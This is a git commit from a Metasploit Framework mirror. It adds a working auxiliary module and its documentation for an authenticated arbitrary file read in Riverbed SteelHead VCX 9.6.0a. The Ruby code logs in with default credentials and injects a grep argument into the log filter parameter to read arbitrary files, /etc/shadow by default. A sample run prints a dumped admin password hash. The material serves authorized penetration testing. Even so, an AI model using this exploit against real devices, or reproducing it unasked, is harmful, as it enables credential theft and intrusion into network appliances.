mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
working module
This commit is contained in:
parent
e7fa4c2d06
commit
ea5db9a039
@ -0,0 +1,57 @@
|
||||
This module exploits an authenticated arbitrary file read in the log module's filter engine.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The application is available for a 90 day evaluation after free registration from
|
||||
[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
|
||||
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
|
||||
If need be from cli, to show the IP address of the device: `show interfaces primary`
|
||||
|
||||
This module was successfully tested against:
|
||||
|
||||
- SteelHead VCX (VCX255U) 9.6.0a
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Set TARGETURI if necessary.
|
||||
3. Set FILE if necessary.
|
||||
3. Set USERNAME if necessary.
|
||||
3. Set PASSWORD if necessary.
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SteelHead VCX255u 9.6.0a running on ESXi
|
||||
|
||||
```
|
||||
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
|
||||
resource (riverbed.rc)> set rhosts 192.168.2.198
|
||||
rhosts => 192.168.2.198
|
||||
resource (riverbed.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (riverbed.rc)> run
|
||||
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
|
||||
[+] Authenticated Successfully
|
||||
[+] File Contents:
|
||||
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
|
||||
administrator:*:10000:0:99999:7:::
|
||||
apache:*:10000:0:99999:7:::
|
||||
localvixuser:*:10000:0:99999:7:::
|
||||
named:*:10000:0:99999:7:::
|
||||
nobody:*:10000:0:99999:7:::
|
||||
ntp:*:10000:0:99999:7:::
|
||||
pcap:*:10000:0:99999:7:::
|
||||
postgres:*:10000:0:99999:7:::
|
||||
rcud:*:10000:0:99999:7:::
|
||||
root:*:10000:0:99999:7:::
|
||||
rpc:*:10000:0:99999:7:::
|
||||
shark:*:10000:0:99999:7:::
|
||||
sshd:*:10000:0:99999:7:::
|
||||
statsd:*:10000:0:99999:7:::
|
||||
webproxy::10000:0:99999:7:::
|
||||
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
@ -0,0 +1,132 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'json'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Riverbed SteelHead VCX File Read',
|
||||
'Description' => %q{
|
||||
This module exploits an authenticated arbitrary file read in the log module's filter engine.
|
||||
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '42101']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
|
||||
'h00die' # Module
|
||||
],
|
||||
'DisclosureDate' => 'Jun 01 2017',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
|
||||
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
|
||||
OptString.new('USERNAME', [true, 'Username', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password', 'password']),
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
# pull our csrf
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'next' => '/'
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless res
|
||||
print_error("#{full_uri} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
|
||||
vprint_status("CSRF Token: #{csrf}")
|
||||
|
||||
# authenticate
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'ctype' => 'application/x-www-form-urlencoded;',
|
||||
'vars_post' => {
|
||||
'csrfmiddlewaretoken' => csrf,
|
||||
'_fields' => JSON.generate({
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'legalAccepted' => 'N/A',
|
||||
'userAgent' => ''
|
||||
})
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless res
|
||||
print_error("#{full_uri} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 400
|
||||
print_error('Failed Authentication')
|
||||
return
|
||||
elsif res.code == 200
|
||||
vprint_good('Authenticated Successfully')
|
||||
end
|
||||
|
||||
# pull the file
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
|
||||
'method' => 'GET',
|
||||
'cookie' => res.get_cookies,
|
||||
'vars_get' => {
|
||||
'filterStr' => "msg:-e .* #{datastore['FILE']}"
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless res
|
||||
print_error("#{full_uri} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if res && res.body
|
||||
result = JSON.parse(res.body)
|
||||
unless result.has_key?('web3.model')
|
||||
print_error('Invalid JSON returned')
|
||||
return
|
||||
end
|
||||
reconstructed_file = []
|
||||
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
|
||||
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
|
||||
result['web3.model']['messages']['rows'].each do |row|
|
||||
if row['msg'].start_with?(datastore['FILE'])
|
||||
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip()
|
||||
end
|
||||
end
|
||||
if reconstructed_file.any?
|
||||
reconstructed_file = reconstructed_file.join("\n")
|
||||
vprint_good("File Contents:\n#{reconstructed_file}")
|
||||
stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
|
||||
print_good("Stored #{datastore['FILE']} to #{stored_path}")
|
||||
else
|
||||
print_error("File not found or empty file: #{datastore['FILE']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user